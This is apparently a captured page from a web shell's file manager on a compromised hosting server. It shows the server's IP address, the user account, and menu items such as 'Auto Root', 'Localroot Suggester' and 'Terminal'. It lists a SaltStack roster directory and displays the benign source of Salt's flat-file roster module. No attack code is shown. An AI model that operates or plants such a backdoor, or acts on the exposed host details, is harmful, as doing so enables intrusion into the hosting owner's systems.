Linux server.edchosting.com 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
LiteSpeed
Server IP : 75.98.162.185 & Your IP : 216.73.216.163
Domains :
Cant Read [ /etc/named.conf ]
User : goons4good
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
lib /
python3.6 /
site-packages /
salt /
roster /
Delete
Unzip
Name
Size
Permission
Date
Action
__pycache__
[ DIR ]
drwxr-xr-x
2022-10-11 05:09
__init__.py
3.53
KB
-rw-r--r--
2022-05-16 09:16
ansible.py
3.87
KB
-rw-r--r--
2022-05-16 09:16
cache.py
7.27
KB
-rw-r--r--
2022-05-16 09:16
cloud.py
3.61
KB
-rw-r--r--
2022-05-16 09:16
clustershell.py
1.52
KB
-rw-r--r--
2022-05-16 09:16
dir.py
3.32
KB
-rw-r--r--
2022-05-16 09:16
flat.py
933
B
-rw-r--r--
2022-05-16 09:16
range.py
2.25
KB
-rw-r--r--
2022-05-16 09:16
scan.py
2.04
KB
-rw-r--r--
2022-05-16 09:16
sshconfig.py
4.35
KB
-rw-r--r--
2022-05-16 09:16
terraform.py
5.02
KB
-rw-r--r--
2022-05-16 09:16
Save
Rename
""" Read in the roster from a flat file using the renderer system """ import logging import salt.config import salt.loader from salt.roster import get_roster_file from salt.template import compile_template log = logging.getLogger(__name__) def targets(tgt, tgt_type="glob", **kwargs): """ Return the targets from the flat yaml file, checks opts for location but defaults to /etc/salt/roster """ template = get_roster_file(__opts__) rend = salt.loader.render(__opts__, {}) raw = compile_template( template, rend, __opts__["renderer"], __opts__["renderer_blacklist"], __opts__["renderer_whitelist"], mask_value="passw*", **kwargs ) conditioned_raw = {} for minion in raw: conditioned_raw[str(minion)] = salt.config.apply_sdb(raw[minion]) return __utils__["roster_matcher.targets"](conditioned_raw, tgt, tgt_type, "ipv4")